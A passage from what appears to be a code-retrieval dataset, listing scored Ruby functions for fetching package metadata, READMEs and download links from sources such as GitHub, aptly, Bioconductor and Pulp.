"docid": "6a1c0c3e4463a05d65bd3dd1a9f7d25e",
"score": "0.54018545",
"text": "def list_packages\n res = []\n out = Aptly::runcmd \"aptly repo show -with-packages #{@name.quote}\"\n Aptly::parse_indented_list out.lines\n end",
"title": ""
},
{
"docid": "9369595ca63c344ed3496bde70b43d00",
"score": "0.5369838",
"text": "def nuget_contents\n 'contents'\n end",
"title": ""
},
{
"docid": "2de7da9c4288451400b7e03404672c53",
"score": "0.53663427",
"text": "def rss_item_description(pod)\n s = \"<p>#{markdown(pod.description)}</p>\"\n s << \"\\n<p>Authored by #{pod.authors}.</p>\"\n s << \"\\n<p>[ Available at: <a href=\\\"#{pod.source_url}\\\">#{pod.source_url}</a> ]</p>\"\n s << \"\\n<ul>\"\n s << \"\\n <li>Latest version: #{pod.version}</li>\"\n s << \"\\n <li>Platform: #{pod.platform}</li>\"\n s << \"\\n <li>Homepage: <a href='#{pod.homepage}'>#{pod.homepage}</a></li>\"\n s << \"\\n <li>License: #{pod.license}</li>\" if pod.license\n s << \"\\n</ul>\"\n\n pod.spec.screenshots.compact.each do |screenshot_url|\n style = 'border:1px solid #aaa;'\n style << 'min-width:44px; min-height:44px;'\n style << 'margin: 22px 22px 0 0; padding: 4px;'\n style << 'box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);'\n style << 'border: 1px solid rgba(0, 0, 0, 0.2);'\n s << \"\\n<img src='#{screenshot_url}' style='#{style}'>\"\n end\n s << \"\\n\"\n end",
"title": ""
},
{
"docid": "5d4fb93626b9fa5bfd01c1ce2e48f609",
"score": "0.53537506",
"text": "def index_page_content(modules)\n view = Mustache.new\n view.template_file = File.join_if_safe($ROOT_DIR, $JAZZY_CONFIG['theme'], \"templates\", \"index.mustache\")\n\n view[:modules] = modules.map do |m|\n # Get get module's docs output relative to `docs` folder\n relative_path = Pathname.new(m['docs']['output']).relative_path_from(Pathname.new('docs'))\n\n # Load podspec to get module name and summary\n podspec = Pod::Specification.from_file(File.join_if_safe($ROOT_DIR, m['podspec']))\n\n props={}\n props[:name] = podspec.name\n props[:summary] = podspec.summary\n props[:directory] = relative_path.to_s\n props\n end\n\n return view.render\nend",
"title": ""
},
{
"docid": "15f5eb15945814d396652b46337b63f3",
"score": "0.53517216",
"text": "def get_lib_download_info(repo_id)\n JSON.parse(curl_get(\"repos/#{repo_id}/download-info/\").body_str)\n end",
"title": ""
},
{
"docid": "b8c9a71d79984739d90351225878e5a8",
"score": "0.53471446",
"text": "def package_url\n format(\"#{node['kong']['mirror']}#{package_name}\", substitutions)\n end",
"title": ""
},
{
"docid": "44ea05b38d7d94f19fa6c06ea3cce63a",
"score": "0.5334675",
"text": "def get_patch_readme(patch_no,output_file)\n base_url = \"https://getupdates.oracle.com/readme/\"\n patch_no = get_patch_full_id(patch_no)\n if !output_file.match(/[A-z]/)\n output_file = $readme_dir+\"/README.\"+patch_no\n end\n url = base_url+patch_no\n get_download(url,output_file)\nend",
"title": ""
},
{
"docid": "fc8a8ba3aef2b5448c675387bd4e95ff",
"score": "0.53158164",
"text": "def list_packages\n data = get_xml(:url => \"listpkgs\")\n check_for_cpanel_errors_on(data)[\"package\"]\n end",
"title": ""
},
{
"docid": "c0722437ec769d8b2c695c71d3f08119",
"score": "0.53147334",
"text": "def get_package(id)\n puts \" + PackageApiWrapper GET #{VIKY_URL}/api_internal/packages/#{id}.json\"\n response = RestClient.get \"#{VIKY_URL}/api_internal/packages/#{id}.json\", content_type: :json, 'Access-Token' => VIKYAPP_INTERNAL_API_TOKEN\n { version: response.headers[:etag], data: response.body }\n end",
"title": ""
},
{
"docid": "33b3c1d8175f2efe3510dcb5742ebf8b",
"score": "0.53143257",
"text": "def get_readme_raw_text\n readme = HTTParty.get(@GITHUB_API_BASE_URL + \"/readme?access_token=#{@access_token}\", headers: {\n \"User-Agent\" => @user_agent\n })\n\n if readme.is_a?(Hash) && readme['message'] === 'Not Found'\n return nil\n else\n readme_content = {\n 'content' => readme['content'],\n 'encoding' => readme['encoding']\n }\n end\n\n readme_content\n end",
"title": ""
},
{
"docid": "d0e2d4790520cca3faa365032d8a9c8a",
"score": "0.5312828",
"text": "def execute(html, package)\n raise JsCoach::ArgumentError.new \"You must give a hash with package metadata\" unless package.is_a? Hash\n\n File.write tmp_readme_filename, html.force_encoding(\"utf-8\")\n File.write tmp_package_filename, package.to_json\n\n `node scripts/readmes.js #{ tmp_readme_filename } #{ tmp_package_filename }`\n ensure\n raise \"Unable to complete `scripts/readme` successfully.\" unless $?.success?\n\n File.delete tmp_readme_filename\n File.delete tmp_package_filename\n end",
"title": ""
},
{
"docid": "f3c73d22764be3ed9129119f0fe6fb6a",
"score": "0.53106344",
"text": "def package_description\n return @package_description unless @package_description.nil?\n\n f = File.open(path() + '/' + self.fullname)\n loop do\n if (f.readline =~ RE_PACKAGE_DESCRIPTION)\n @package_description = f.take_while {|l|\n not(l =~ RE_FILE_LIST)\n }.map {|l|\n l.sub(/^#{self.name}:\\s?/, '').chomp\n }\n return @package_description\n end\n end\n end",
"title": ""
},
{
"docid": "d9e1d761f51c94e25a6c9409decc3323",
"score": "0.5305959",
"text": "def geturl()\n \turl=\"https://api.github.com/repos/panu2306/sample/contents\"\n end",
"title": ""
},
{
"docid": "3e855ee2f7543c914288178e9996f58f",
"score": "0.526533",
"text": "def getPackages\n\t\t\t# retrieve OS and arch info\n\t\t\t# lsb_release is a utility installed with all debian new versions\n\t\t\t# which contains system information\n\t\t\tlsb = `lsb_release -irc`\n\t\t\tmachine_info = [] # [ Distribution ID , Release , Codename , Arch ]\n\t\t\tlsb.split(\"\\n\").map { |ele| machine_info << ele.split(\"\\t\")[1] }\n\t\t\t# add arch to machine_info\n\t\t\tmachine_info << `arch`.chomp\n\t\t\t# fetch response from server\n\t\t\tresponse = HTTP.post(\"http://localhost:3000/api/packages\", :json => { :gems => @gems, :machine_info => machine_info })\n\t\t\treturn nil if response.code != 200\n\t\t\tpackages = response.parse[\"packages\"]\n\t\t\treturn packages\n\t\tend",
"title": ""
},
{
"docid": "53be3a8859cbe6da651d5311e79c0c8c",
"score": "0.5259874",
"text": "def generate_html(item)\n file = get_web_path item.path\n @markaby.p do\n div.container do\n div.span12 do\n div :class => \"alert alert-block alert-info\" do\n p :class => \"download\" do\n text \"You may download #{item.name} \" \n a \"right here\", :href => file\n text \".\"\n end\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "32101ae60f3ec9fb6ec6a3df9bfeb6c8",
"score": "0.52585864",
"text": "def index\n @packages = Package.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @packages }\n end\n end",
"title": ""
},
{
"docid": "3a6d33176fb8f962e2ac4a19eab70505",
"score": "0.52541876",
"text": "def pretty_gist(response)\n body = JSON.parse(response.body)\n if response.code == '200'\n body.each do |gist|\n description = \"#{gist['description'] || gist['files'].keys.join(\" \")} #{gist['public'] ? '' : '(secret)'}\"\n puts \"#{gist['html_url']} #{description.tr(\"\\n\", \" \")}\\n\"\n $stdout.flush\n end\n\n else\n raise Error, body['message']\n end\n end",
"title": ""
},
{
"docid": "3a6d33176fb8f962e2ac4a19eab70505",
"score": "0.52541876",
"text": "def pretty_gist(response)\n body = JSON.parse(response.body)\n if response.code == '200'\n body.each do |gist|\n description = \"#{gist['description'] || gist['files'].keys.join(\" \")} #{gist['public'] ? '' : '(secret)'}\"\n puts \"#{gist['html_url']} #{description.tr(\"\\n\", \" \")}\\n\"\n $stdout.flush\n end\n\n else\n raise Error, body['message']\n end\n end",
"title": ""
},
{
"docid": "3a6d33176fb8f962e2ac4a19eab70505",
"score": "0.52541876",
"text": "def pretty_gist(response)\n body = JSON.parse(response.body)\n if response.code == '200'\n body.each do |gist|\n description = \"#{gist['description'] || gist['files'].keys.join(\" \")} #{gist['public'] ? '' : '(secret)'}\"\n puts \"#{gist['html_url']} #{description.tr(\"\\n\", \" \")}\\n\"\n $stdout.flush\n end\n\n else\n raise Error, body['message']\n end\n end",
"title": ""
},
{
"docid": "c14d14b95808257bc6ac2a328a672861",
"score": "0.52498853",
"text": "def PrepareOneClickInstallDescription(packages_to_install, save_to_file)\n packages_to_install = deep_copy(packages_to_install)\n if FileUtils.Exists(save_to_file)\n Builtins.y2warning(\"File %1 already exists, removing\", save_to_file)\n SCR.Execute(path(\".target.remove\"), save_to_file)\n end\n\n distro = \"\"\n repoURL = \"\"\n\n write_xml = {\n \"metapackage\" => {\n \"xmlns\" => \"http://opensuse.org/Standards/One_Click_Install\"\n }\n }\n\n repositories = {}\n packages = {}\n\n Builtins.foreach(packages_to_install) do |one_package|\n distro = Ops.get_string(one_package, \"distro\") do\n GuessCurrentDistribution()\n end\n repoURL = Ops.get_string(one_package, \"repoURL\", \"\")\n # all repositories\n Ops.set(\n repositories,\n distro,\n Builtins.add(Ops.get_list(repositories, distro, []), repoURL)\n )\n # all packages\n Ops.set(\n packages,\n distro,\n Builtins.add(\n Ops.get_list(packages, distro, []),\n {\n \"item\" => [\n {\n \"name\" => [\n { \"content\" => Ops.get_string(one_package, \"name\", \"\") }\n ],\n \"summary\" => [\n { \"content\" => Ops.get_string(one_package, \"summary\", \"\") }\n ],\n \"description\" => [\n {\n \"content\" => Ops.get_locale(\n # TRANSLATORS: package description item\n one_package,\n \"description\",\n Ops.get_locale(\n one_package,\n \"summary\",\n _(\"No further information available.\")\n )\n )\n }\n ]\n }\n ]\n }\n )\n )\n end\n\n Builtins.foreach(\n Convert.convert(\n repositories,\n :from => \"map\",\n :to => \"map <string, list <string>>\"\n )\n ) do |distro2, distro_repos|\n group = {\n \"distversion\" => ModifyDistro(distro2),\n \"remainSubscribed\" => { \"content\" => \"true\" },\n \"repositories\" => Builtins.toset(Builtins.maplist(distro_repos) do |one_repo|\n {\n \"repository\" => [\n {\n \"name\" => [{ \"content\" => one_repo }],\n \"url\" => [{ \"content\" => one_repo }],\n # TRANSLATORS: repository summary\n \"summary\" => [\n { \"content\" => _(\"Unknown repository\") }\n ],\n # TRANSLATORS: repositry description\n \"description\" => [\n {\n \"content\" => _(\n \"No further information available, use at your own risk.\"\n )\n }\n ]\n }\n ]\n }\n end),\n \"software\" => Builtins.toset(\n Ops.get_list(packages, distro2, [])\n )\n }\n Ops.set(write_xml, [\"metapackage\", \"group\"], group)\n end\n\n Builtins.y2debug(\"Writing: %1\", write_xml)\n\n success = SCR.Write(\n path(\".anyxml\"),\n {\n \"xml\" => write_xml,\n \"file\" => save_to_file,\n \"args\" => {\n \"RootName\" => \"metapackage\",\n \"KeepRoot\" => true,\n \"XMLDecl\" => \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\"\n }\n }\n )\n\n if success != true\n Builtins.y2error(\"Unable to write XML to %1\", save_to_file)\n end\n\n success\n end",
"title": ""
},
{
"docid": "45ac214a5e439b603002e9e04f73cbae",
"score": "0.52488077",
"text": "def package_with_javadoc(options = nil)\n options ||= {}\n enhance do\n selected = options[:only] ? projects(options[:only]) :\n options[:except] ? ([self] + projects - projects(options[:except])) :\n [self] + projects\n selected.reject { |project| project.compile.sources.empty? }.\n each { |project| project.package(:javadoc) }\n end\n end",
"title": ""
},
{
"docid": "b48f21e1a62a50d92220fb82ba6b2470",
"score": "0.52480716",
"text": "def print_links_only\n found_issues = collect_issues_from_commits\n return if found_issues.empty?\n\n message = \"### Jira issues\\n\\n\"\n found_issues.each do |issue_id| \n message << \"[#{issue_id}](#{jira_site}/browse/#{issue_id})\\n\\n\" \n end\n\n markdown message\n end",
"title": ""
},
{
"docid": "7dfed60886ee6c088b9af88e0b96fdd0",
"score": "0.5245924",
"text": "def rpc_info_html(mtype, mname)\n m = _find_module(mtype, mname)\n Msf::Util::DocumentGenerator.get_module_document(m)\n end",
"title": ""
},
{
"docid": "be578566f22789d57a68810408e022a5",
"score": "0.5243885",
"text": "def fetch_readme(full_name: @full_name, npm_package: @npm_package, path: nil)\n if path.present?\n readme = Utils.contents(full_name, path: \"#{ path }/README.md\", accept: 'application/vnd.github.html')\n else\n readme = Utils.readme(full_name, accept: 'application/vnd.github.html')\n end\n\n JS::ReadMe.execute(readme, {\n name: npm_package.name,\n description: npm_package.description,\n repo: full_name\n })\n rescue Utils::NotFound\n # The GitHub README was not found\n end",
"title": ""
},
{
"docid": "ea6e6e9153f3f5f77340f7d9c07984e3",
"score": "0.52352864",
"text": "def show(start, fin)\n output = \"<table class=\\\"table table-hover table-condensed\\\"><tr><th>ID</th><th>Package name</th><th>Version</th><th>Depends on</th><th>Generate documentation</th></tr>\"\n Package.find((start..fin).to_a).each do |i|\n output << \"<tr class = center><td>\" + i.id.to_s + \"</td><td>\" + i.name + \"</td><td>\" + i.version + \"</td><td>\" + i.depends.to_s + \"</td><td>\" + button_to(\"Generate docs\", \"/docsbuild/#{i.name}\", method: \"get\", class: \"btn btn-mini \" + get_documentation_state(i.name) ) + \"</td></tr>\"\n end\n output << \"</table>\"\n return output\n end",
"title": ""
},
{
"docid": "994ed32e1dcf654db1fa7148b3873f76",
"score": "0.52341217",
"text": "def base_url\n \"http://rubygems.org/api/v1/gems/\"\n end",
"title": ""
},
{
"docid": "85c9f76ad5a22c9efd1d79c7d81ac951",
"score": "0.5226395",
"text": "def recent_packages()\n begin\n xml = HTTParty.get(\"http://master.bioconductor.org/rss/new_packages.rss\").body\n doc = Document.new xml\n items = []\n doc.elements.each(\"rss/channel/item\") {|i| items.push i}\n ret = []\n for item in items#.reverse\n h = {}\n title = nil\n item.elements.each(\"title\") {|i|title = i.text}\n description = nil\n item.elements.each(\"description\") {|i|description = i.text}\n title_segs = title.split(\" \")\n title_segs.shift # get rid of url\n pkg = title_segs.shift # get pkg name\n pkgtitle = title_segs.join \" \"\n desc = description.split(\"<br/\").first\n h[:package] = pkg\n h[:title] = pkgtitle\n h[:description] = desc\n ret.push h\n end\n return ret\n rescue Exception => ex\n return []\n end\nend",
"title": ""
},
{
"docid": "048d9000f983174391cffcecf37b7d3a",
"score": "0.52247214",
"text": "def list_packages(opts= {})\n url = \"#{@account}/packages\"\n if opts.size > 0\n url = url + '?' + URI.encode_www_form(opts)\n end\n c = @client[url]\n headers = gen_headers(opts)\n attempt(opts[:attempts]) do\n do_get(c, headers)\n end\n end",
"title": ""
},
{
"docid": "c437e1dc139d43543621ca4476c7566b",
"score": "0.5212193",
"text": "def wurl_packages(*args)\n raise ArgumentError.new('apikey not specified') if @api_key.blank?\n parameters = args.extract_options!\n\n uri()['/wurl_packages'].get(parameters, {'Channels-Authorization' => @api_key}).deserialise\n end",
"title": ""
},
{
"docid": "77a9510ddd49874a87d4397c90b9ff3a",
"score": "0.5210763",
"text": "def download_update_package\r\n @log.debug \"Donwloading from #{@url_server_name_pkg}...\"\r\n http=Net::HTTP.start(@url_server_name_pkg)\r\n # this call is blocking but it works also with medium files.\r\n # tested on 16Mb file without problems\r\n #resp = http.get(@url_file_name_pkg)\r\n # using iterator\r\n resp = http.request_get(@url_file_name_pkg)\r\n # check if the file was found\r\n case resp\r\n when Net::HTTPSuccess then\r\n @log.debug \"Download OK\"\r\n # download OK\r\n FileUtils.mkdir_p(@out_download_pack_path) unless File.directory? @out_download_pack_path\r\n # url found and downloaded\r\n pack_filename = File.basename(@url_file_name_pkg)\r\n @out_package_down = File.join(@out_download_pack_path,pack_filename)\r\n # store it into a file \r\n File.open(@out_package_down, 'wb'){|f| f << resp.body}\r\n @log.debug \"Download saved on #{@out_package_down}\"\r\n else\r\n raise \"Package to download #{@url_file_name_pkg} not found on server #{@url_server_name_pkg}\"\r\n end\r\n end",
"title": ""
},
{
"docid": "e7d728a39063ec1bcb91ba9cf67fb985",
"score": "0.52085406",
"text": "def api_docs_link(reference)\n reference.split('|').map do |token|\n if token.include?('.')\n package = Package.where(:name => token.slice(0, token.index('.'))).first\n doc_pre = token.slice(token.index('.')+1, token.size)\n else\n package = @package\n doc_pre = token\n end\n\n doc = package && package.documents.api.detect do |doc|\n doc.path.starts_with?(\"docs/#{doc_pre.underscore}.\")\n end\n\n if doc\n doc_id = doc.path.sub(/^docs\\//, '').sub(/\\.md$/, '')\n doc_url = package_docs_path(package, :version => package == @package ? params[:version] : nil, :doc_id => doc_id)\n else\n doc_url = '#'\n end\n\n link_to token, doc_url, :class => 'api-ref'\n end.join('|')\n end",
"title": ""
},
{
"docid": "ecccf4e689e36908140f52322b648bc8",
"score": "0.52079886",
"text": "def fetch_package_file(package)\n cache = cache_file(package)\n if cache\n Util.log \"Using a cached version of #{package.title} ...\"\n\n [cache, File.read(cache)]\n else\n Util.log \"The package is found at #{package.url}.\"\n Util.log \"Finding the download URL ...\"\n\n download_uri = resolve_download_url(package)\n\n Util.log \"Found it. Downloading from #{download_uri} ...\"\n [download_uri, HTTParty.get(download_uri)]\n end\n end",
"title": ""
},
{
"docid": "de48dc4aa0bc1e634d41411db1ac1edb",
"score": "0.51927197",
"text": "def readme\n text = Base64.decode64 github.repos.contents.readme(name, repo).content\n github.markdown.render :text => text\n end",
"title": ""
},
{
"docid": "64962a4307ba9fd3ad9857c30bf81bac",
"score": "0.5185306",
"text": "def downloads(repo, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "89dc0f1463c9aa18478eed775aca662c",
"score": "0.5182533",
"text": "def test_get_host_packages\n hostname = \"invtest\"\n get \"/package-inventory/#{hostname}\"\n assert_equal 200, last_response.status\n expect = \"{\\\"packages\\\":[{\\\"Name\\\":\\\"phonon-qt5-gstreamer\\\",\\\"Version\\\":\\\"4.9.0\\\",\\\"Architecture\\\":\\\"x86_64\\\",\\\"Description\\\":\\\"GStreamer package\\\",\\\"URL\\\":\\\"http://www.anywhere.com/\\\"},{\\\"Name\\\":\\\"my-package\\\",\\\"Version\\\":\\\"1.2.3\\\",\\\"Architecture\\\":\\\"noarch\\\",\\\"Description\\\":\\\"My great package\\\",\\\"URL\\\":\\\"http://www.overhere.com/my-package\\\"},{\\\"Name\\\":\\\"your-package\\\",\\\"Version\\\":\\\"4.5.6-0.1\\\",\\\"Architecture\\\":\\\"any\\\",\\\"Description\\\":\\\"Your brilliant package\\\",\\\"URL\\\":\\\"http://www.overthere.com/your-package\\\"}]}\"\n assert_equal expect, last_response.body\n end",
"title": ""
},
{
"docid": "6a5b50fcc533745faea18b228e065073",
"score": "0.5175477",
"text": "def download\n puts repo_get_url\n system(\"curl -o #{app}-repo.tgz '#{repo_get_url}'\")\n end",
"title": ""
},
{
"docid": "d258c7ed011d506023f167b95abcbf6e",
"score": "0.51738507",
"text": "def list\n unless File.file?(@@credentials_file)\n login unless ENV['api_key']\n end\n display_gem_info(true, options[:dependencies])\n end",
"title": ""
},
{
"docid": "910ba48970f28b31fe13354ef1bf2dc7",
"score": "0.51638514",
"text": "def package(package, extension)\n parse_request(package, extension)\n template_ext = Jammit.template_extension.to_sym\n result = []\n\n headers = {\n 'Cache-Control' => \"public, max-age=#{(60*60*24*365.25*10).to_i}\",\n 'Expires' => (Time.now + 60*60*24*365.25*10).httpdate\n }\n\n case @extension\n when :js\n @contents = Jammit.packager.pack_javascripts(@package)\n @contents = @contents.to_js if @contents.respond_to?(:to_js)\n result = [\n 200,\n headers.merge({\n 'Content-Type' => Rack::Mime.mime_type(\".js\")\n }),\n [@contents]\n ]\n when template_ext\n @contents = Jammit.packager.pack_templates(@package)\n @contents = @contents.to_js if @contents.respond_to?(:to_js)\n [\n 200,\n headers.merge({\n 'Content-Type' => Rack::Mime.mime_type(\".js\")\n }),\n [@contents]\n ]\n when :css\n [\n 200,\n headers.merge({\n 'Content-Type' => Rack::Mime.mime_type(\".css\")\n }),\n [generate_stylesheets]\n ]\n end\n rescue Jammit::PackageNotFound\n [404, {'Content-Type' => 'text/plain'}, ['Not found']]\n end",
"title": ""
},
{
"docid": "86b9d30c2dddd7e8b8867aa29fdc0503",
"score": "0.5157384",
"text": "def list_id\n puts \" + PackageApiWrapper GET #{VIKY_URL}/api_internal/packages.json\"\n response = RestClient.get \"#{VIKY_URL}/api_internal/packages.json\", content_type: :json, 'Access-Token' => VIKYAPP_INTERNAL_API_TOKEN\n JSON.parse(response.body)\n end",
"title": ""
},
{
"docid": "b32623fdcc6139d21e84e0eca58efb4d",
"score": "0.51519245",
"text": "def get_wurl_package(slug, *args)\n raise ArgumentError.new('apikey not specified') if @api_key.blank?\n parameters = args.extract_options!\n\n uri()[\"/wurl_packages/#{slug}\"].get(parameters, {'Channels-Authorization' => @api_key}).deserialise\n end",
"title": ""
},
{
"docid": "5f39a5be7f4872cadb8134206c954627",
"score": "0.5146773",
"text": "def get_content(name, type)\n unless @curl_avail\n return \"<!-- CURL was not detected, so the content can't be embedded -->\" + get_link(name, type)\n end\n \n url = get_url(name)\n if not url.nil?\n return \"<!-- PATH FOR #{name} NOT SPECIFIED -->\"\n elsif type.include?(YUI_CSS)\n return '<style type=\"text/css\">' + get_remote_content(url) + '</style>'\n else\n return '<script type=\"text/javascript\">' + get_remote_content(url) + '</script>'; \n end\n end",
"title": ""
},
{
"docid": "ff5c66fd0ec47dd94dc0b15aede60197",
"score": "0.5143519",
"text": "def serve_api_documentation_at(url)\n get(url) do\n content_type :html\n self.class.api_documentation.to_html\n end\n end",
"title": ""
},
{
"docid": "259cb724097c7e547447fa6a412094b9",
"score": "0.5136672",
"text": "def packages\n # GET /source/<project>\n xml = api :get, \"/source/#{@name}\"\n xml.xpath(\"/directory/entry/@name\").each do |name|\n yield name\n end\n end",
"title": ""
},
{
"docid": "9486221fa6ffeb09d5ea1f1065b078d7",
"score": "0.5130321",
"text": "def read_with_http_info(package_href, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ContentPackagesApi.read ...'\n end\n # verify the required parameter 'package_href' is set\n if @api_client.config.client_side_validation && package_href.nil?\n fail ArgumentError, \"Missing the required parameter 'package_href' when calling ContentPackagesApi.read\"\n end\n # resource path\n local_var_path = '{package_href}'.sub('{' + 'package_href' + '}', package_href.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'fields'] = opts[:'fields'] if !opts[:'fields'].nil?\n query_params[:'exclude_fields'] = opts[:'exclude_fields'] if !opts[:'exclude_fields'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Basic']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'RpmPackage')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ContentPackagesApi#read\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "e0ea0787020ef6f1cf29ed0510037ee4",
"score": "0.5117246",
"text": "def show\n @packages = Package.find(params[:id])\n if @packages\n respond_to do |format|\n format.json { render :json => @packages }\n format.xml { render :xml => @packages }\n end\n\n else\n head :not_found\n end\n end",
"title": ""
},
{
"docid": "5f9bc84300d8dd41f4569845d269a65d",
"score": "0.5115794",
"text": "def scrape\n if self.login(@username, @password)\n package = self.get_package(@doc)\n puts '-----------------------------------------------------------------------'\n puts \"Current usage for '#{@username}' using #{package}\"\n puts '-----------------------------------------------------------------------'\n puts self.get_usage_stats(@doc)\n puts '-----------------------------------------------------------------------'\n else\n puts \"Sorry, login to TPG Internet for #{@username} failed!\"\n end\n end",
"title": ""
},
{
"docid": "828b5132451826a18aa37d8fb6074f7e",
"score": "0.5115152",
"text": "def index\n render_markdown(\"#{SANDBOX_DOCS_ABOUT}overview.md\");\n end",
"title": ""
},
{
"docid": "2575202045b2f9c34c2096ffe56a7e7d",
"score": "0.51077473",
"text": "def getContent\n url = URI('https://jokeapi-v2.p.rapidapi.com/joke/Any')\n @jokes = self.APIConnect(url)\n \n output = \n \" <div class=\\\"row alert alert-warning\\\"> \n <div class=\\\"col-md-2\\\">\n <br>\n </div><div class=\\\"col-md-6\\\">\n <h2 style=\\\"color:darkblue\\\">JOKE <br> \n \n Joke:#{@jokes['setup']} \n <h2 style=\\\"color:darkblue\\\">:)</h2></div></div>\"\n puts output\n return output\n end",
"title": ""
},
{
"docid": "54b00abd9a8bb0791f4eeb6e7c560465",
"score": "0.51015466",
"text": "def get_contents\n base = \"https://api.github.com/repos/\"\n url = base + @repo + \"/contents\"\n HTTParty.get(url)\n end",
"title": ""
},
{
"docid": "e868147bed66b0806ca25d9a1137729d",
"score": "0.5097896",
"text": "def show_readme\n readme 'lib/generators/cms/fortress/templates/README'\n end",
"title": ""
},
{
"docid": "36e6a5f8df0064726d05eae05132a170",
"score": "0.5096101",
"text": "def get_pkg_name\n begin\n desc = get_description\n return desc['Package']\n rescue Exception => e\n puts e\n end\nend",
"title": ""
},
{
"docid": "1eaa41a1490c8651ad446a84a99e664c",
"score": "0.50935626",
"text": "def displaypulls!\n puts \"Pull requests for #{@@target_user}/#{@@target_repo}\\n\"\n pulls = get(\"/repos/#{@@target_user}/#{@@target_repo}/pulls\")\n pp pulls if @verbose\n checkHeaders(pulls)\n pulls.each { |pull| print \"*\\t#{pull['number']}\\t\"+pull['title'] + \"\\t\" + pull['user']['login'] + \"\\n\" } \n end",
"title": ""
},
{
"docid": "310eb2e02b84d3faca4f60afdc0adea4",
"score": "0.50928384",
"text": "def pub\n render text: File.read(Rails.root.join('public', 'apidocs', 'api-docs.json')).gsub('\"basePath\": \"\",', '\"basePath\": \"/\",')\n end",
"title": ""
},
{
"docid": "c34bc25eee6f4a5ba24d673f47908c7f",
"score": "0.50888854",
"text": "def file_url\n return \"#{CRAN_PACKAGES_URL}/#{@package.package_name}_#{@package.version}.tar.gz\"\n end",
"title": ""
},
{
"docid": "b5b6fd087f4f230caae4f913acf49246",
"score": "0.5088284",
"text": "def url\n pull_request._links.html.href\n end",
"title": ""
},
{
"docid": "15b41deaeefc18678d328729bae7353c",
"score": "0.50880367",
"text": "def index\n @package_files = @version.package_files.all\n end",
"title": ""
},
{
"docid": "6fd14d4968d9749b1711780068e088c5",
"score": "0.5087779",
"text": "def get_the_body(url)\nbody = HTTParty.get(url)\nNokogiri::HTML(body)\nend",
"title": ""
},
{
"docid": "69ba15fdcea0778539e8ffb6d7b61899",
"score": "0.50821066",
"text": "def package_info_brief(pkgrepo, pkgname, pkgverr, pkgdesc, outofdate, numvotes, width=80)\n pkgrepo = add_attr(pkgrepo, *AttrConfigs[pkgrepo.to_sym]) + '/'\n pkgname = add_attr(pkgname, *AttrConfigs[:pkgname])\n pkgverr = ' ' + add_attr(pkgverr, *AttrConfigs[outofdate ? :pkgver_out : :pkgver_ok])\n pkg_old = ' [Out Of Date]' unless !outofdate or colors_on?\n numvotes = add_attr(\" |#{numvotes}|\", *AttrConfigs[:numvotes])\n pkgdesc = \"\\n\" + add_attr(pkgdesc.to_block(width,4), *AttrConfigs[:pkgdesc])\n \"#{pkgrepo}#{pkgname}#{pkgverr}#{pkg_old}#{numvotes}#{pkgdesc}\"\n end",
"title": ""
},
{
"docid": "1622aa8cd018b784e4f2f60d3f51d62b",
"score": "0.50809497",
"text": "def show\n @links = download_links\n end",
"title": ""
},
{
"docid": "85c01591621bb09cb9bdf82dbcd5cb03",
"score": "0.50681716",
"text": "def get_code_browser_url(package, include_branch=true)\n url = \"https://code.bioconductor.org/browse/\" + package[:Package] + \"/\"\n if include_branch\n url = url + package[:git_branch] + \"/\"\n end\n return url\nend",
"title": ""
},
{
"docid": "984fb9c7109265089cc1554f5fb9162c",
"score": "0.5066254",
"text": "def list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ContentPackagesApi.list ...'\n end\n # resource path\n local_var_path = '/pulp/api/v3/content/rpm/packages/'\n\n # query parameters\n query_params = {}\n query_params[:'name'] = opts[:'name'] if !opts[:'name'].nil?\n query_params[:'name__in'] = opts[:'name__in'] if !opts[:'name__in'].nil?\n query_params[:'epoch'] = opts[:'epoch'] if !opts[:'epoch'].nil?\n query_params[:'epoch__in'] = opts[:'epoch__in'] if !opts[:'epoch__in'].nil?\n query_params[:'version'] = opts[:'version'] if !opts[:'version'].nil?\n query_params[:'version__in'] = opts[:'version__in'] if !opts[:'version__in'].nil?\n query_params[:'release'] = opts[:'release'] if !opts[:'release'].nil?\n query_params[:'release__in'] = opts[:'release__in'] if !opts[:'release__in'].nil?\n query_params[:'arch'] = opts[:'arch'] if !opts[:'arch'].nil?\n query_params[:'arch__in'] = opts[:'arch__in'] if !opts[:'arch__in'].nil?\n query_params[:'pkgId'] = opts[:'pkg_id'] if !opts[:'pkg_id'].nil?\n query_params[:'pkgId__in'] = opts[:'pkg_id__in'] if !opts[:'pkg_id__in'].nil?\n query_params[:'checksum_type'] = opts[:'checksum_type'] if !opts[:'checksum_type'].nil?\n query_params[:'checksum_type__in'] = opts[:'checksum_type__in'] if !opts[:'checksum_type__in'].nil?\n query_params[:'repository_version'] = opts[:'repository_version'] if !opts[:'repository_version'].nil?\n query_params[:'repository_version_added'] = opts[:'repository_version_added'] if !opts[:'repository_version_added'].nil?\n query_params[:'repository_version_removed'] = opts[:'repository_version_removed'] if !opts[:'repository_version_removed'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'fields'] = opts[:'fields'] if !opts[:'fields'].nil?\n query_params[:'exclude_fields'] = opts[:'exclude_fields'] if !opts[:'exclude_fields'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = 